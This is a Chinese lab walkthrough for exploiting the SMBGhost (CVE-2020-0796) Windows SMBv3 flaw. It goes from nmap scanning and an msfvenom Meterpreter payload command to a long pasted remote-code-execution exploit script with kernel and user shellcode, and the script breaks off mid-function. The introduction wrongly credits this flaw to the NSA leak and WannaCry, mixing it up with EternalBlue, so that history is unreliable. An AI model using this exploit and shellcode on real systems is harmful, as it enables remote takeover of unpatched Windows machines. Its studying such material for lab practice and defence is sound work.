一.漏洞描述
“永恒之黑”是一个由美国国家安全局(NSA)利用的漏洞工具包。这些工具最初在2017年由“影子经纪人”组织泄露,并导致了全球范围内的大规模网络攻击事件,其中包括了 WannaCry 勒索软件攻击。
“永恒之黑”漏洞利用了微软Windows操作系统中的漏洞,主要是针对 SMB(Server Message Block)协议的漏洞。通过利用这些漏洞,攻击者可以远程执行代码,而无需用户交互,从而控制受感染的计算机。
微软在意识到漏洞的严重性后,发布了紧急补丁来修复这些漏洞,建议用户尽快更新其Windows操作系统,以防止受到攻击的风险。
总的来说,“永恒之黑”漏洞揭示了网络安全中的一个重要问题,即即使是由政府部门开发的漏洞工具,一旦泄露,也可能被黑客和恶意分子利用,对网络安全构成严重威胁。因此,及时修补系统漏洞和保持系统更新是保护计算机安全的重要措施。
二.影响版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
三.永恒之黑漏洞
1) 环境搭建
靶机 | IP地址 |
---|---|
Windows10攻击机 | 192.168.37.140 |
Windows10漏洞机 | 192.168.37.137 |
kali | 192.168.37.130 |
2) 漏洞探测
1.先确定目标,用nmap进行ping扫描
nmap -sP 192.168.37.0/24
其中1是网关、254是VMware的DHCP服务器、143是自己,所以win10漏洞机的IP地址是192.168.37.137
2.探测445端口有没有开启
nmap -p 445 192.168.37.137
3.漏洞检测
永恒之黑检测工具
4.漏洞验证之蓝屏攻击
下载POC:https://github.com/eerykitty/CVE-2020-0796-PoC
漏洞机出现蓝屏 攻击成功 说明存在漏洞
四 漏洞利用
远程利用PoC:
https://github.com/chompie1337/SMBGhost_RCE_PoC
1.操作步骤
生成反向连接木马
msfvenom -p windows/x64/meterpreter/bind_tcp lport=8888 -b '\x00' -i 1 -f python
2.替换payload
将payload.py 生成的code,替换到exploit.py的USER_PAYLOAD参数,并把参数buf改为USER_PAYLOAD。( 可以先整体粘贴复制,然后将buf替换为 USER_PAYLOAD,就不用一行一行粘贴了,节省了很多时间 )
buf = b""
buf += b"\x48\x31\xc9\x48\x81\xe9\xc1\xff\xff\xff\x48\x8d"
buf += b"\x05\xef\xff\xff\xff\x48\xbb\x90\x25\x04\x96\x80"
buf += b"\x15\xad\x7c\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
buf += b"\xff\xe2\xf4\x6c\x6d\x85\x72\x70\xea\x52\x83\x78"
buf += b"\xe9\x04\x96\x80\x54\xfc\x3d\xc0\x77\x55\xde\xb1"
buf += b"\xc7\xc8\x34\x1b\x77\x64\xde\x0b\x47\xb5\x2a\xd8"
buf += b"\xae\x56\xb6\xc8\x1a\x1a\x36\xda\x68\x35\x5f\xc8"
buf += b"\x9e\xdf\x2c\xd8\x14\xc4\x3a\xbc\x74\xd1\x7e\xbc"
buf += b"\x05\x45\x57\x49\x18\xec\x7d\x51\xc7\xe9\xc4\xc1"
buf += b"\x44\xe5\xf7\xc2\x05\x8f\xd4\xbc\x5d\xac\xac\xf6"
buf += b"\xa4\x7c\x8e\x8b\x17\xa2\xf9\xe2\x25\x04\x96\x0b"
buf += b"\x95\x25\x7c\x90\x25\x4c\x13\x40\x61\xca\x34\x91"
buf += b"\xf5\x54\x1d\xc8\x0d\xe9\xf7\xd0\x05\x4d\x97\x50"
buf += b"\xf6\xfb\x31\xa1\xec\x4c\x69\x49\x54\x26\x48\x18"
buf += b"\x6d\x05\x40\xc8\x24\x6d\x3d\x51\xec\x09\x3a\xc1"
buf += b"\x14\x6c\x44\x70\x50\xf5\xda\x83\x59\x89\x74\xd5"
buf += b"\x1c\xd5\xe3\x58\x4d\xe9\xf7\xd0\x01\x4d\x97\x50"
buf += b"\x73\xec\xf7\x9c\x6d\x40\x1d\xc0\x09\xe4\x7d\x40"
buf += b"\x64\x8f\x92\x08\x5d\xac\xac\xd1\x7d\x45\xce\xde"
buf += b"\x4c\xf7\x3d\xc8\x64\x5d\xd7\xda\x5d\x2e\x90\xb0"
buf += b"\x64\x56\x69\x60\x4d\xec\x25\xca\x6d\x8f\x84\x69"
buf += b"\x5e\x52\x83\x6f\x78\x4d\x28\xf7\x66\x9f\x23\xa3"
buf += b"\x17\x04\x96\xc1\x43\xe4\xf5\x76\x6d\x85\x7a\x20"
buf += b"\x14\xad\x7c\xd9\xac\xe1\xde\xb1\xd5\xfd\x2c\xd9"
buf += b"\x99\x06\x96\xa2\xad\xad\x7c\x90\x25\x45\xc2\xc9"
buf += b"\x9c\x49\x30\x19\xd4\x45\x2c\xcc\x62\x8b\x7b\x6f"
buf += b"\xf0\x48\x1f\x6a\x7d\xac\x7d\x90\x25\x5d\xd7\x3a"
buf += b"\x3c\x2d\x17\x90\xda\xd1\xfc\x82\x4c\xfd\x2c\xdd"
buf += b"\x14\xcd\xdb\xb1\xd5\xe5\x83\x50\x6d\x8d\x54\xc1"
buf += b"\xaf\x47\x73\x4f\xc5\xfb\x43\xc8\x9c\x6a\x16\x80"
buf += b"\x64\x5c\xda\x09\xf7\xe5\xf5\x69\x64\xbe\x54\x5b"
buf += b"\x22\xca\x83\x45\x6d\x35\x44\xc8\x9c\x54\x3d\x2a"
buf += b"\x92\xed\xae\x7f\xea\x78\x31\xa1\xe5\x4c\xa7\x52"
buf += b"\x5d\x24\x85\xd1\x9f\x70\x7a\xbb\xf4\x52\xa9\xd8"
buf += b"\xac\xfd\xde\x09\xd2\xec\xc6\xe5\x4b\x49\xf7\x7f"
buf += b"\xc0\xe5\xfd\x54\x95\x06\x96\x80\x5d\x2e\x90\x80"
buf += b"\x6d\x8d\x74\xcd\x24\x64\x16\x94\x64\x5c\xde\x09"
buf += b"\xec\xec\xc6\x92\xfc\xcc\xc9\x7f\xc0\xe5\xff\x54"
buf += b"\x05\x5a\x1f\x76\x7f\xed\x3d\xc9\x4d\x04\x86\x80"
buf += b"\x15\xec\x24\xd8\xac\xf6\xde\xb1\xdc\xec\xc6\xc8"
buf += b"\x81\x57\x73\x7f\xc0\xe5\xf5\x53\x6c\x8d\x51\xcd"
buf += b"\x24\x64\x35\x19\xd5\x4c\x1f\x5a\x5d\x24\x85\xd1"
buf += b"\x9f\x06\x4f\x48\x4a\x52\xa9\xd8\x24\xc7\xde\xa9"
buf += b"\xd3\xe5\xf9\x66\x50\xe5\xd7\x7f\xf2\xf5\x16\x90"
buf += b"\x7c\x4d\x51\x42\xe5\x18\xde\xc6\xda\xd1\x96\x80"
buf += b"\x15\xad\x7c"
#!/usr/bin/env python
import sys
import socket
import struct
import argparse
from lznt1 import compress, compress_evil
from smb_win import smb_negotiate, smb_compress
# Use lowstub jmp bytes to signature search
LOWSTUB_JMP = 0x1000600E9
# Offset of PML4 pointer in lowstub
PML4_LOWSTUB_OFFSET = 0xA0
# Offset of lowstub virtual address in lowstub
SELFVA_LOWSTUB_OFFSET = 0x78
# Offset of hal!HalpApicRequestInterrupt pointer in hal!HalpInterruptController
HALP_APIC_REQ_INTERRUPT_OFFSET = 0x78
KUSER_SHARED_DATA = 0xFFFFF78000000000
# Offset of pNetRawUSER_PAYLOADfer in SRVNET_USER_PAYLOADFER_HDR
PNET_RAW_USER_PAYLOADF_OFFSET = 0x18
# Offset of pMDL1 in SRVNET_USER_PAYLOADFER_HDR
PMDL1_OFFSET = 0x38
# Shellcode from kernel_shellcode.asm
KERNEL_SHELLCODE = b"\x41\x50\x41\x51\x41\x55\x41\x57\x41\x56\x51\x52\x53\x56\x57\x4C"
KERNEL_SHELLCODE += b"\x8D\x35\xB5\x02\x00\x00\x49\x8B\x86\xD8\x00\x00\x00\x49\x8B\x9E"
KERNEL_SHELLCODE += b"\xE0\x00\x00\x00\x48\x89\x18\xFB\x48\x31\xC9\x44\x0F\x22\xC1\xB9"
KERNEL_SHELLCODE += b"\x82\x00\x00\xC0\x0F\x32\x25\x00\xF0\xFF\xFF\x48\xC1\xE2\x20\x48"
KERNEL_SHELLCODE += b"\x01\xD0\x48\x2D\x00\x10\x00\x00\x66\x81\x38\x4D\x5A\x75\xF3\x49"
KERNEL_SHELLCODE += b"\x89\xC7\x4D\x89\x3E\xBF\x78\x7C\xF4\xDB\xE8\xE4\x00\x00\x00\x49"
KERNEL_SHELLCODE += b"\x89\xC5\xBF\x3F\x5F\x64\x77\xE8\x38\x01\x00\x00\x48\x89\xC1\xBF"
KERNEL_SHELLCODE += b"\xE1\x14\x01\x17\xE8\x2B\x01\x00\x00\x48\x89\xC2\x48\x83\xC2\x08"
KERNEL_SHELLCODE += b"\x49\x8D\x74\x0D\x00\xE8\x09\x01\x00\x00\x3D\xD8\x83\xE0\x3E\x74"
KERNEL_SHELLCODE += b"\x0A\x4D\x8B\x6C\x15\x00\x49\x29\xD5\xEB\xE5\xBF\x48\xB8\x18\xB8"
KERNEL_SHELLCODE += b"\x4C\x89\xE9\xE8\x9B\x00\x00\x00\x49\x89\x46\x08\x4D\x8B\x45\x30"
KERNEL_SHELLCODE += b"\x4D\x8B\x4D\x38\x49\x81\xE8\xF8\x02\x00\x00\x48\x31\xF6\x49\x81"
KERNEL_SHELLCODE += b"\xE9\xF8\x02\x00\x00\x41\x8B\x79\x74\x0F\xBA\xE7\x04\x73\x05\x4C"
KERNEL_SHELLCODE += b"\x89\xCE\xEB\x0C\x4D\x39\xC8\x4D\x8B\x89\x00\x03\x00\x00\x75\xDE"
KERNEL_SHELLCODE += b"\x48\x85\xF6\x74\x49\x49\x8D\x4E\x10\x48\x89\xF2\x4D\x31\xC0\x4C"
KERNEL_SHELLCODE += b"\x8D\x0D\xC2\x00\x00\x00\x52\x41\x50\x41\x50\x41\x50\xBF\xC4\x5C"
KERNEL_SHELLCODE += b"\x19\x6D\x48\x83\xEC\x20\xE8\x38\x00\x00\x00\x48\x83\xC4\x40\x49"
KERNEL_SHELLCODE += b"\x8D\x4E\x10\xBF\x34\x46\xCC\xAF\x48\x83\xEC\x20\xB8\x05\x00\x00"
KERNEL_SHELLCODE += b"\x00\x44\x0F\x22\xC0\xE8\x19\x00\x00\x00\x48\x83\xC4\x20\xFA\x48"
KERNEL_SHELLCODE += b"\x89\xD8\x5F\x5E\x5B\x5A\x59\x41\x5E\x41\x5F\x41\x5D\x41\x59\x41"
KERNEL_SHELLCODE += b"\x58\xFF\xE0\xE8\x02\x00\x00\x00\xFF\xE0\x53\x51\x56\x41\x8B\x47"
KERNEL_SHELLCODE += b"\x3C\x4C\x01\xF8\x8B\x80\x88\x00\x00\x00\x4C\x01\xF8\x50\x8B\x48"
KERNEL_SHELLCODE += b"\x18\x8B\x58\x20\x4C\x01\xFB\xFF\xC9\x8B\x34\x8B\x4C\x01\xFE\xE8"
KERNEL_SHELLCODE += b"\x1F\x00\x00\x00\x39\xF8\x75\xEF\x58\x8B\x58\x24\x4C\x01\xFB\x66"
KERNEL_SHELLCODE += b"\x8B\x0C\x4B\x8B\x58\x1C\x4C\x01\xFB\x8B\x04\x8B\x4C\x01\xF8\x5E"
KERNEL_SHELLCODE += b"\x59\x5B\xC3\x52\x31\xC0\x99\xAC\xC1\xCA\x0D\x01\xC2\x85\xC0\x75"
KERNEL_SHELLCODE += b"\xF6\x92\x5A\xC3\xE8\xA1\xFF\xFF\xFF\x80\x78\x02\x80\x77\x05\x0F"
KERNEL_SHELLCODE += b"\xB6\x40\x03\xC3\x8B\x40\x03\xC3\x41\x57\x41\x56\x57\x56\x48\x8B"
KERNEL_SHELLCODE += b"\x05\x0E\x01\x00\x00\x48\x8B\x48\x18\x48\x8B\x49\x20\x48\x8B\x09"
KERNEL_SHELLCODE += b"\x66\x83\x79\x48\x18\x75\xF6\x48\x8B\x41\x50\x81\x78\x0C\x33\x00"
KERNEL_SHELLCODE += b"\x32\x00\x75\xE9\x4C\x8B\x79\x20\xBF\x5E\x51\x5E\x83\xE8\x58\xFF"
KERNEL_SHELLCODE += b"\xFF\xFF\x49\x89\xC6\x4C\x8B\x3D\xCF\x00\x00\x00\x31\xC0\x48\x8D"
KERNEL_SHELLCODE += b"\x15\x96\x01\x00\x00\x89\xC1\x48\xF7\xD1\x49\x89\xC0\xB0\x40\x50"
KERNEL_SHELLCODE += b"\xC1\xE0\x06\x50\x49\x89\x01\x48\x83\xEC\x20\xBF\xEA\x99\x6E\x57"
KERNEL_SHELLCODE += b"\xE8\x1E\xFF\xFF\xFF\x48\x83\xC4\x30\x48\x8B\x3D\x6B\x01\x00\x00"
KERNEL_SHELLCODE += b"\x48\x8D\x35\x77\x00\x00\x00\xB9\x1D\x00\x00\x00\xF3\xA4\x48\x8D"
KERNEL_SHELLCODE += b"\x35\x6E\x01\x00\x00\xB9\x58\x02\x00\x00\xF3\xA4\x48\x8D\x0D\xE0"
KERNEL_SHELLCODE += b"\x00\x00\x00\x65\x48\x8B\x14\x25\x88\x01\x00\x00\x4D\x31\xC0\x4C"
KERNEL_SHELLCODE += b"\x8D\x0D\x46\x00\x00\x00\x41\x50\x6A\x01\x48\x8B\x05\x2A\x01\x00"
KERNEL_SHELLCODE += b"\x00\x50\x41\x50\x48\x83\xEC\x20\xBF\xC4\x5C\x19\x6D\xE8\xC1\xFE"
KERNEL_SHELLCODE += b"\xFF\xFF\x48\x83\xC4\x40\x48\x8D\x0D\xA6\x00\x00\x00\x4C\x89\xF2"
KERNEL_SHELLCODE += b"\x4D\x31\xC9\xBF\x34\x46\xCC\xAF\x48\x83\xEC\x20\xE8\xA2\xFE\xFF"
KERNEL_SHELLCODE += b"\xFF\x48\x83\xC4\x20\x5E\x5F\x41\x5E\x41\x5F\xC3\x90\xC3\x48\x92"
KERNEL_SHELLCODE += b"\x31\xC9\x51\x51\x49\x89\xC9\x4C\x8D\x05\x0D\x00\x00\x00\x89\xCA"
KERNEL_SHELLCODE += b"\x48\x83\xEC\x20\xFF\xD0\x48\x83\xC4\x30\xC3\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58"
KERNEL_SHELLCODE += b"\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x58\x00\x00\x00\x00\x00"
KERNEL_SHELLCODE += b"\x00\x00\x00"
# Reverse shell generated by msfvenom. Can you believe I had to download Kali Linux for this shit?
USER_PAYLOAD = b""
USER_PAYLOAD += b"\x48\x31\xc9\x48\x81\xe9\xc1\xff\xff\xff\x48\x8d"
USER_PAYLOAD += b"\x05\xef\xff\xff\xff\x48\xbb\x90\x25\x04\x96\x80"
USER_PAYLOAD += b"\x15\xad\x7c\x48\x31\x58\x27\x48\x2d\xf8\xff\xff"
USER_PAYLOAD += b"\xff\xe2\xf4\x6c\x6d\x85\x72\x70\xea\x52\x83\x78"
USER_PAYLOAD += b"\xe9\x04\x96\x80\x54\xfc\x3d\xc0\x77\x55\xde\xb1"
USER_PAYLOAD += b"\xc7\xc8\x34\x1b\x77\x64\xde\x0b\x47\xb5\x2a\xd8"
USER_PAYLOAD += b"\xae\x56\xb6\xc8\x1a\x1a\x36\xda\x68\x35\x5f\xc8"
USER_PAYLOAD += b"\x9e\xdf\x2c\xd8\x14\xc4\x3a\xbc\x74\xd1\x7e\xbc"
USER_PAYLOAD += b"\x05\x45\x57\x49\x18\xec\x7d\x51\xc7\xe9\xc4\xc1"
USER_PAYLOAD += b"\x44\xe5\xf7\xc2\x05\x8f\xd4\xbc\x5d\xac\xac\xf6"
USER_PAYLOAD += b"\xa4\x7c\x8e\x8b\x17\xa2\xf9\xe2\x25\x04\x96\x0b"
USER_PAYLOAD += b"\x95\x25\x7c\x90\x25\x4c\x13\x40\x61\xca\x34\x91"
USER_PAYLOAD += b"\xf5\x54\x1d\xc8\x0d\xe9\xf7\xd0\x05\x4d\x97\x50"
USER_PAYLOAD += b"\xf6\xfb\x31\xa1\xec\x4c\x69\x49\x54\x26\x48\x18"
USER_PAYLOAD += b"\x6d\x05\x40\xc8\x24\x6d\x3d\x51\xec\x09\x3a\xc1"
USER_PAYLOAD += b"\x14\x6c\x44\x70\x50\xf5\xda\x83\x59\x89\x74\xd5"
USER_PAYLOAD += b"\x1c\xd5\xe3\x58\x4d\xe9\xf7\xd0\x01\x4d\x97\x50"
USER_PAYLOAD += b"\x73\xec\xf7\x9c\x6d\x40\x1d\xc0\x09\xe4\x7d\x40"
USER_PAYLOAD += b"\x64\x8f\x92\x08\x5d\xac\xac\xd1\x7d\x45\xce\xde"
USER_PAYLOAD += b"\x4c\xf7\x3d\xc8\x64\x5d\xd7\xda\x5d\x2e\x90\xb0"
USER_PAYLOAD += b"\x64\x56\x69\x60\x4d\xec\x25\xca\x6d\x8f\x84\x69"
USER_PAYLOAD += b"\x5e\x52\x83\x6f\x78\x4d\x28\xf7\x66\x9f\x23\xa3"
USER_PAYLOAD += b"\x17\x04\x96\xc1\x43\xe4\xf5\x76\x6d\x85\x7a\x20"
USER_PAYLOAD += b"\x14\xad\x7c\xd9\xac\xe1\xde\xb1\xd5\xfd\x2c\xd9"
USER_PAYLOAD += b"\x99\x06\x96\xa2\xad\xad\x7c\x90\x25\x45\xc2\xc9"
USER_PAYLOAD += b"\x9c\x49\x30\x19\xd4\x45\x2c\xcc\x62\x8b\x7b\x6f"
USER_PAYLOAD += b"\xf0\x48\x1f\x6a\x7d\xac\x7d\x90\x25\x5d\xd7\x3a"
USER_PAYLOAD += b"\x3c\x2d\x17\x90\xda\xd1\xfc\x82\x4c\xfd\x2c\xdd"
USER_PAYLOAD += b"\x14\xcd\xdb\xb1\xd5\xe5\x83\x50\x6d\x8d\x54\xc1"
USER_PAYLOAD += b"\xaf\x47\x73\x4f\xc5\xfb\x43\xc8\x9c\x6a\x16\x80"
USER_PAYLOAD += b"\x64\x5c\xda\x09\xf7\xe5\xf5\x69\x64\xbe\x54\x5b"
USER_PAYLOAD += b"\x22\xca\x83\x45\x6d\x35\x44\xc8\x9c\x54\x3d\x2a"
USER_PAYLOAD += b"\x92\xed\xae\x7f\xea\x78\x31\xa1\xe5\x4c\xa7\x52"
USER_PAYLOAD += b"\x5d\x24\x85\xd1\x9f\x70\x7a\xbb\xf4\x52\xa9\xd8"
USER_PAYLOAD += b"\xac\xfd\xde\x09\xd2\xec\xc6\xe5\x4b\x49\xf7\x7f"
USER_PAYLOAD += b"\xc0\xe5\xfd\x54\x95\x06\x96\x80\x5d\x2e\x90\x80"
USER_PAYLOAD += b"\x6d\x8d\x74\xcd\x24\x64\x16\x94\x64\x5c\xde\x09"
USER_PAYLOAD += b"\xec\xec\xc6\x92\xfc\xcc\xc9\x7f\xc0\xe5\xff\x54"
USER_PAYLOAD += b"\x05\x5a\x1f\x76\x7f\xed\x3d\xc9\x4d\x04\x86\x80"
USER_PAYLOAD += b"\x15\xec\x24\xd8\xac\xf6\xde\xb1\xdc\xec\xc6\xc8"
USER_PAYLOAD += b"\x81\x57\x73\x7f\xc0\xe5\xf5\x53\x6c\x8d\x51\xcd"
USER_PAYLOAD += b"\x24\x64\x35\x19\xd5\x4c\x1f\x5a\x5d\x24\x85\xd1"
USER_PAYLOAD += b"\x9f\x06\x4f\x48\x4a\x52\xa9\xd8\x24\xc7\xde\xa9"
USER_PAYLOAD += b"\xd3\xe5\xf9\x66\x50\xe5\xd7\x7f\xf2\xf5\x16\x90"
USER_PAYLOAD += b"\x7c\x4d\x51\x42\xe5\x18\xde\xc6\xda\xd1\x96\x80"
USER_PAYLOAD += b"\x15\xad\x7c"
PML4_SELFREF = 0
PHAL_HEAP = 0
PHALP_INTERRUPT = 0
PHALP_APIC_INTERRUPT = 0
PNT_ENTRY = 0
max_read_retry = 3
overflow_val = 0x1100
write_unit = 0xd0
pmdl_va = KUSER_SHARED_DATA + 0x900
pmdl_mapva = KUSER_SHARED_DATA + 0x800
pshellcodeva = KUSER_SHARED_DATA + 0x950
class MDL:
def __init__(self, map_va, phys_addr):
self.next = struct.pack("<Q", 0x0)
self.size = struct.pack("<H", 0x48)
self.mdl_flags = struct.pack("<H", 0x5018)
self.alloc_processor = struct.pack("<H", 0x0)
self.reserved = struct.pack("<H", 0x0)
self.process = struct.pack("<Q", 0x0)
self.map_va = struct.pack("<Q", map_va)
map_va &= ~0xFFF
self.start_va = struct.pack("<Q", map_va)
self.byte_count = struct.pack("<L", 0x258)
self.byte_offset = struct.pack("<L", (phys_addr & 0xFFF) + 0x4)
phys_addr_enc = (phys_addr & 0xFFFFFFFFFFFFF000) >> 12
self.phys_addr1 = struct.pack("<Q", phys_addr_enc)
self.phys_addr2 = struct.pack("<Q", phys_addr_enc)
self.phys_addr3 = struct.pack("<Q", phys_addr_enc)
def raw_bytes(self):
mdl_bytes = self.next + self.size + self.mdl_flags + \
self.alloc_processor + self.reserved + self.process + \
self.map_va + self.start_va + self.byte_count + \
self.byte_offset + self.phys_addr1 + self.phys_addr2 + \
self.phys_addr3
return mdl_bytes
def reconnect(ip, port):
sock = socket.socket(socket.AF_INET)
sock.settimeout(7)
sock.connect((ip, port))
return sock
def write_primitive(ip, port, data, addr):
sock = reconnect(ip, port)
smb_negotiate(sock)
sock.recv(1000)
uncompressed_data = b"\x41"*(overflow_val - len(data))
uncompressed_data += b"\x00"*PNET_RAW_USER_PAYLOADF_OFFSET
uncompressed_data += struct.pack('<Q', addr)
compressed_data = compress(uncompressed_data)
smb_compress(sock, compressed_data, 0xFFFFFFFF, data)
sock.close()
def write_srvnet_USER_PAYLOADfer_hdr(ip, port, data, offset):
sock = reconnect(ip, port)
smb_negotiate(sock)
sock.recv(1000)
compressed_data = compress_evil(data)
dummy_data = b"\x33"*(overflow_val + offset)
smb_compress(sock, compressed_data, 0xFFFFEFFF, dummy_data)
sock.close()
def read_physmem_primitive(ip, port, phys_addr):
i = 0
while i < max_read_retry:
i += 1
USER_PAYLOADf = try_read_physmem_primitive(ip, port, phys_addr)
if USER_PAYLOADf is not None:
return USER_PAYLOADf
def try_read_physmem_primitive(ip, port, phys_addr):
fake_mdl = MDL(pmdl_mapva, phys_addr).raw_bytes()
write_primitive(ip, port, fake_mdl, pmdl_va)
write_srvnet_USER_PAYLOADfer_hdr(ip, port, struct.pack('<Q', pmdl_va), PMDL1_OFFSET)
i = 0
while i < max_read_retry:
i += 1
sock = reconnect(ip, port)
smb_negotiate(sock)
USER_PAYLOADf = sock.recv(1000)
sock.close()
if USER_PAYLOADf[4:8] != b"\xfeSMB":
return USER_PAYLOADf
def get_phys_addr(ip, port, va_addr):
pml4_index = (((1 << 9) - 1) & (va_addr >> (40 - 1)))
pdpt_index = (((1 << 9) - 1) & (va_addr >> (31 - 1)))
pdt_index = (((1 << 9) - 1) & (va_addr >> (22 - 1)))
pt_index = (((1 << 9) - 1) & (va_addr >> (13 - 1)))
pml4e = PML4 + pml4_index*0x8
pdpt_USER_PAYLOADf = read_physmem_primitive(ip, port, pml4e)
if pdpt_USER_PAYLOADf is None:
sys.exit("[-] physical read primitive failed")
pdpt = struct.unpack("<Q", pdpt_USER_PAYLOADf[0:8])[0] & 0xFFFFF000
pdpte = pdpt + pdpt_index*0x8
pdt_USER_PAYLOADf = read_physmem_primitive(ip, port, pdpte)
if pdt_USER_PAYLOADf is None:
sys.exit("[-] physical read primitive failed")
pdt = struct.unpack("<Q", pdt_USER_PAYLOADf[0:8])[0] & 0xFFFFF000
pdte = pdt + pdt_index*0x8
pt_USER_PAYLOADf = read_physmem_primitive(ip, port, pdte)
if pt_USER_PAYLOADf is None:
sys.exit("[-] physical read primitive failed")
pt = struct.unpack("<Q", pt_USER_PAYLOADf[0:8])[0]
if pt & (1 << (8 - 1)):
phys_addr = (pt & 0xFFFFF000) + (pt_index & 0xFFF)*0x1000 + (va_addr & 0xFFF)
return phys_addr
else:
pt = pt & 0xFFFFF000
pte = pt + pt_index*0x8
pte_USER_PAYLOADf = read_physmem_primitive(ip, port, pte)
if pte_USER_PAYLOADf is None:
sys.exit("[-] physical read primitive failed")
phys_addr = (struct.unpack("<Q", pte_USER_PAYLOADf[0:8])[0] & 0xFFFFF000) + \
(va_addr & 0xFFF)
return phys_addr
def get_pte_va(addr):
pt = addr >> 9
lb = (0xFFFF << 48) | (PML4_SELFREF << 39)
ub = ((0xFFFF << 48) | (PML4_SELFREF << 39) +
0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8
pt = pt | lb
pt = pt & ub
return pt
def overwrite_pte(ip, port, addr):
phys_addr = get_phys_addr(ip, port, addr)
USER_PAYLOADf = read_physmem_primitive(ip, port, phys_addr)
if USER_PAYLOADf is None:
sys.exit("[-] read primitive failed!")
pte_val = struct.unpack("<Q", USER_PAYLOADf[0:8])[0]
# Clear NX bit
overwrite_val = pte_val & (((1 << 63) - 1))
overwrite_USER_PAYLOADf = struct.pack("<Q", overwrite_val)
write_primitive(ip, port, overwrite_USER_PAYLOADf, addr)
def build_shellcode():
global KERNEL_SHELLCODE
KERNEL_SHELLCODE += struct.pack("<Q", PHALP_INTERRUPT +
HALP_APIC_REQ_INTERRUPT_OFFSET)
KERNEL_SHELLCODE += struct.pack("<Q", PHALP_APIC_INTERRUPT)
KERNEL_SHELLCODE += USER_PAYLOAD
def search_hal_heap(ip, port):
global PHALP_INTERRUPT
global PHALP_APIC_INTERRUPT
search_len = 0x10000
index = PHAL_HEAP
page_index = PHAL_HEAP
cons = 0
phys_addr = 0
while index < PHAL_HEAP + search_len:
# It seems that pages in the HAL heap are not necessarily contiguous in physical memory,
# so we try to reduce number of reads like this
if not (index & 0xFFF):
phys_addr = get_phys_addr(ip, port, index)
else:
phys_addr = (phys_addr & 0xFFFFFFFFFFFFF000) + (index & 0xFFF)
USER_PAYLOADf = read_physmem_primitive(ip, port, phys_addr)
if USER_PAYLOADf is None:
sys.exit("[-] physical read primitive failed!")
entry_indices = 8*(((len(USER_PAYLOADf) + 8 // 2) // 8) - 1)
i = 0
# This heuristic seems to be OK to find HalpInterruptController, but could use improvement
while i < entry_indices:
entry = struct.unpack("<Q", USER_PAYLOADf[i:i+8])[0]
i += 8
if (entry & 0xFFFFFF0000000000) != 0xFFFFF80000000000:
cons = 0
continue
cons += 1
if cons > 3:
PHALP_INTERRUPT = index + i - 0x40
print("[+] found HalpInterruptController at %lx"
% PHALP_INTERRUPT)
if len(USER_PAYLOADf) < i + 0x40:
USER_PAYLOADf = read_physmem_primitive(ip, port, phys_addr + i + 0x38)
PHALP_APIC_INTERRUPT = struct.unpack("<Q", USER_PAYLOADf[0:8])[0]
if USER_PAYLOADf is None:
sys.exit("[-] physical read primitive failed!")
else:
PHALP_APIC_INTERRUPT = struct.unpack("<Q",USER_PAYLOADf[i + 0x38:i+0x40])[0]
print("[+] found HalpApicRequestInterrupt at %lx" % PHALP_APIC_INTERRUPT)
return
index += entry_indices
sys.exit("[-] failed to find HalpInterruptController!")
def search_selfref(ip, port):
search_len = 0x1000
index = PML4
while search_len:
USER_PAYLOADf = read_physmem_primitive(ip, port, index)
if USER_PAYLOADf is None:
return
entry_indices = 8*(((len(USER_PAYLOADf) + 8 // 2) // 8) - 1)
i = 0
while i < entry_indices:
entry = struct.unpack("<Q",USER_PAYLOADf[i:i+8])[0] & 0xFFFFF000
if entry == PML4:
return index + i
i += 8
search_len -= entry_indices
index += entry_indices
def find_pml4_selfref(ip, port):
global PML4_SELFREF
self_ref = search_selfref(ip, port)
if self_ref is None:
sys.exit("[-] failed to find PML4 self reference entry!")
PML4_SELFREF = (self_ref & 0xFFF) >> 3
print("[+] found PML4 self-ref entry %0x" % PML4_SELFREF)
def find_low_stub(ip, port):
global PML4
global PHAL_HEAP
limit = 0x100000
index = 0x1000
while index < limit:
USER_PAYLOADf = read_physmem_primitive(ip, port, index)
if USER_PAYLOADf is None:
sys.exit("[-] physical read primitive failed!")
entry = struct.unpack("<Q", USER_PAYLOADf[0:8])[0] & 0xFFFFFFFFFFFF00FF
if entry == LOWSTUB_JMP:
print("[+] found low stub at phys addr %lx!" % index)
PML4 = struct.unpack("<Q", USER_PAYLOADf[PML4_LOWSTUB_OFFSET: PML4_LOWSTUB_OFFSET + 8])[0]
print("[+] PML4 at %lx" % PML4)
